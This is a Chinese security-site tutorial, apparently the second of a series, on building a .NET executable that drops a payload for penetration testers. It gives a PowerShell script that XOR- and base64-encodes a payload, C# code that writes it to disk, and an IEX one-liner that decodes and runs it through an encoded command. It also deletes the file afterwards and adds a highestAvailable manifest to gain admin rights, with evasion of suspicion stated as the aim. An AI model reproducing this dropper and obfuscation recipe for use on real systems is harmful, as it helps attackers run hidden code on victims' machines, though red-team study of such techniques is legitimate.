手把手教渗透测试人员打造.NET可执行文件 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

手把手教渗透测试人员打造.NET可执行文件

fanyeee 内网渗透 2017-12-07 11:44:41
264285
收藏

导语:在这篇文章中,我们会对上一篇文章中介绍的.NET可执行文件进行一些改进。首先,我们会将有效载荷的PowerShell代码嵌入到exe文件中。

在这篇文章中,我们会对上一篇文章中介绍的.NET可执行文件进行一些改进。首先,我们会将有效载荷的PowerShell代码嵌入到exe文件中。接下来,将为其添加一个自定义应用程序清单,来控制我们的程序在哪个级别运行。如果你还没有看过第一篇内容的话,你可以在这里找到,或者,你可以直接阅读第一篇文章中的相关代码就行了,地址在这里。

单级有效载荷

跟通过PowerShell下载和执行有效载荷不同,我们这里要将有效载荷写入文件,然后让PowerShell从中进行读取,并执行它。

*“等等,啥?这是要把这些东西放到硬盘上吗?!”*

是的,但是……我们会进行加密处理,毕竟很多应用程序都会向硬盘上面写东西的,所以,这不会引起别人的怀疑。

*当然,这里算不上真正意义上的加密技术,但是对我们来说已经足够了。

我们将对有效载荷的每个字节进行异或运算,然后进行base64编码。也就是说,我们的异或运算就是前面所说的加密,同时,对于PowerShell来说,这种操作非常易于“解密”;另外,base64编码也非常便于用PowerShell进行处理,所以,这样一来我们就可以直接将标准字符粘贴到我们的程序中了。我已经编写了一个PowerShell脚本,让它替我们完成相应的工作:

|param (|
      |[string]$in = $( Read-Host "Please specify a file to encode with
-in" ),|
      |[string]$out = $( Read-Host "Please specify an output file with
-out" )|
|)|
|if (-Not (Test-Path $in)) { Read-Host "Please specify a valid filepath" }|
|$str = [System.IO.File]::ReadAllText($in)|
|$bytes = [System.Text.Encoding]::Ascii.GetBytes($str)|
|for($i=0; $i -lt $bytes.count; $i++) {|
      |$bytes[$i] = $bytes[$i] -bxor 0x71|
|}|
|[Convert]::ToBase64String($bytes) | Out-File $out|

当然,读者也可以从下面的地址下载相应的代码:

https://gist.github.com/peewpw/2fc092ac51ed4b554d530da8fd93537c.

注意,我们将利用常量0x71来进行异或操作,进行解密的时候,只需要利用这个值重新执行一遍异或操作就行了。

1.png

使用PowerShell脚本对有效载荷进行编码

接下来,将上面的PowerShell脚本的输出内容复制到我们的程序中,并在Main方法前面建立一个静态字符串。作为Main的第一个动作,我们将把这个字符串的值写入一个文件。这里,我们将把它写入位于 C:UsersPublic下面的一个文本文件中。如果该目录不存在的话,我们的代码将无法工作,因此,请根据自己的情况选择一个合适的目录。

|static string psc = "<encoded payload>"|
|static void Main(string[] args)|
|{|
      |File.WriteAllText(@"C:UsersPublictest12.txt", psc);|
      |....|

既然将这个有效载荷植入了文件中,那么自然就需要一个PowerShell命令来读取这个文件、对有效载荷进行解码并执行它。比如,我们可以使用下面的PowerShell命令来完成这些工作:

|$f=[System.IO.File]::ReadAllText("C:UsersPublictest12.txt");$b=[Convert]::FromBase64String($f);for($i=0;$i
-lt $b.count;$i++){$b[$i]=$b[$i] -bxor
0x71}IEX([System.Text.Encoding]::Ascii.GetString($b));|

$f是从文件中读取的base64字符串(就是我们在前面创建的那个字符串)。然后,我们将它转换为一个字节数组($b),并逐字节与常量0x71进行异或运算。最后,我们将字节数组重新转换为一个字符串,并执行它。 

如果直接调用这个命令的话,将面临字符转义的问题,所以,我们打算使用base64对它进行编码,并将其作为一个编码后的命令来运行。实际上,最简单的方法,就是像前面一样通过PowerShell脚本完成这些任务。

|param (|
      |[string]$in = $( Read-Host "Please specify a file to encode with
-in" ),|
      |[string]$out = $( Read-Host "Please specify an output file with
-out" )|
|)|
|if (-Not (Test-Path $in)) { Read-Host "Please Specify a valid filepath" }|
|$str = [System.IO.File]::ReadAllText($in)|
|$bytes = [System.Text.Encoding]::Unicode.GetBytes($str)|
|[Convert]::ToBase64String($bytes) | Out-File $out|

当然,读者也可以从下面的地址下载相应的代码:

https://gist.github.com/peewpw/4bbcce5b89e96d48f4495cd8cb95aab6.

请注意,现在我们已经转换为早期的ascii unicode编码。在第一个脚本中,由于使用了Ascii编码,所以得到的输出结果所占用的空间会更小一些,但是在这里我们需要的是unicode编码,只有这样才符合PowerShell编码的命令参数的要求。所以,在复制和粘贴代码时要注意一下!

11.png

对PowerShell命令进行Base64编码

之后,我们把这里的输出内容放入相应的程序中,供PowerShell命令的参数使用。

|process.StartInfo.Arguments = "-enc <base64 encoded command>"|

现在,我们的程序就可以正常工作了!但是,我们还可以做一些清理工作,就是说,当PowerShell读取文件之后,将这些文件删除。为此,我们需要多等一会儿,以便PowerShell有足够的时间来读取并删除它:

|Thread.Sleep(5000);|
|File.Delete(@"C:UsersPublictest12.txt");|

最终的代码可以从下面的地址下载:

https://gist.github.com/peewpw/0c8f240d642fb554d83d3433b2e718fc.

如果你已经运行了代码的最终版本,那么这个exe文件将位于 projectnamebinDebugprojectname.exe。如果你不想在自己的系统上运行有效载荷,你可以选择Build> Build Solution菜单项,或者按F6来构建一个新的exe版本,这样的话就不会执行它了。

请求提升进程权限

Windows进程能够以不同的完整性级别运行,不同的级别决定了不同的权限,从而决定了它们在本地系统上可以访问哪些内容和执行哪些代码。不过,这里只会概要讨论与我们有关的一些问题,但是,如果你想深入研究这方面的内容的话,请参考https://msdn.microsoft.com/en-us/library /bb625963.aspx。作为攻击者,我们通常希望拥有最高的特权级别(SYSTEM),因为这样我们就可以为所欲为了。通常情况下,我们会假定可以从管理员级别的访问权限获取系统级别的权限,但是在更多的时候,需要考虑的是如何从普通进程获取管理员进程的权限。有时,只需要在应用程序启动的时候,直接向用户请求相应的权限就能搞定了。

当用户打开一个正常的应用程序时,该程序通常是在一个中等的完整性级别上运行的。这意味着,该程序无法完成“管理性质的”活动。但是,该程序却可以通过触发用户帐户控制(UAC)来请求更高的权限。比如,就像下面这样的弹出式请求窗口:

111.png

UAC提示框

接下来的事情,将取决于UAC设置和用户的权限。假设用户是本地管理员组的成员,如果UAC设置为“prompt for consent”(默认),那么用户只需通过点击确认就可以管理员身份运行该程序。如果UAC设置为“prompt for credentials”(不常见),那么用户就必须输入凭据才能以管理员身份运行该程序。如果UAC设置为“no prompt”或禁用,程序将继续运行。作为标准用户,如果UAC设置为“prompt for credentials”,则用户需要输入管理员凭证才能继续。如果UAC设置为“no prompt”或禁用,则程序将失败。

我们可以定义程序是否可以使用应用程序清单来请求提升权限。我们有三个选项:asInvoker、requireAdministrator和highestAvailable。如果我们没有定义清单,那么第一个选项asInvoker是默认的。该程序将作为中等进程来运行(除非作为管理员帐户运行)。下一个选项是不言自明的,它要求具有管理员权限,否则就会运行失败。这是大部分安装人员使用的选项。最后一个选择是更加灵活,也是我们最感兴趣的一个选项。如果用户是本地管理员组的成员,则UAC将提示提升进程权限,但如果用户不是管理员,程序将按正常进程运行。

我们可以根据具体情况,来选择相应的设置。就本例来说,我们将使用“highestAvailable”设置,但如果读者喜欢的话,也可以尝试其他的选项。

首先,我们将创建一个清单来指定所需的执行参数。

|<?xml version="1.0" encoding="UTF-8" standalone="yes"?>|
|<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">|
      |<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">|
            |<security>|
                  |<requestedPrivileges>|
                        |<requestedExecutionLevel|
                              |level="highestAvailable"|
                              |uiAccess="false"/>|
                  |</requestedPrivileges>|
            |</security>|
      |</trustInfo>|
|</assembly>|

我们将其保存为.manifest文件,然后将其包含在我们的Visual Studio项目中。

1111.png

Visual Studio中的清单文件

在“Project”菜单下,选择“<project name> Properties”,然后在资源下拉列表中选择新的自定义清单。

2.png

在项目属性中选择清单文件

当构建可执行文件时,这个清单将被包含在其中。当我们的程序被具有本地管理员权限的用户运行时,UAC会提示他们程序在提权后的进程中运行。我将清单中的可执行文件重命名为peewpw_adm.exe,以便可以将其与原始文件并排比较。您可以看到,具有本地管理员的用户查看时,带有新清单文件的UAC图标的样子。

22.png

作为具有本地管理员权限的用户,在自定义清单前后看到的可执行文件。

当普通用户查看相同的文件时,他们无法看到UAC图标。当普通用户运程序时,都是作为中等完整性(正常)进程来执行。

222.png

作为没有本地管理员权限的用户,在自定义清单之前和之后看到的可执行文件。

我们还可以看到,当一个管理员运行这两个文件(点击后者的UAC)时,一个是作为中等完整性(正常)进程,而另一个则是作为高等完整性(admin)进程。

2222.png

运行这两个程序的结果。第一个作为正常进程,第二个作为管理进程(注意星号和红色的电脑图标)。

下一步做什么

在本文中,我们做了一个妥协:把带有多级释放有效载荷的Web调用换为向硬盘写入一个加密的文件。在下一篇文章中,我们将考察单级有效载荷(stageless payload)的替代方法,它们无需将文件写入磁盘!

应用程序清单为我们提供了一些提升权限的方法,这样我们就无需使用可能触发警报的UAC绕过方法了。实际上,我们可以在某些恰当的时机请求用户赋予我们需要的权限,例如,在安装程序的时候。

我们下周再见,阅读愉快!

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务